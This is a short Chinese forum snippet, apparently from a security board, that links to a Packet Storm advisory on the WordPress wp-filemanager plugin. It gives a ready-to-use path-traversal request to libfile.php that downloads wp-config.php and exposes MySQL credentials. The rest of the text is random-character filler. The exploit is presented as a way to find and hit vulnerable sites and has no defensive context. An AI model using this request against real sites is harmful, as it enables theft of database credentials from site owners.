洞详解:http://packetstormsecurity.com/f ... -File-Download.html
, I9 j4 `9 f. ]& R- D
1 r( t. j& _1 t( |0 @' B0 a* m查找漏洞网站:访问/wp-content/plugins/wp-filemanager/incl/libfile.php?&path=../../&filename=wp-config.php&action=download,下载wp-config,其中回显MySQL。2 a$ l' y1 }5 s$ g V9 T0 Z. C
|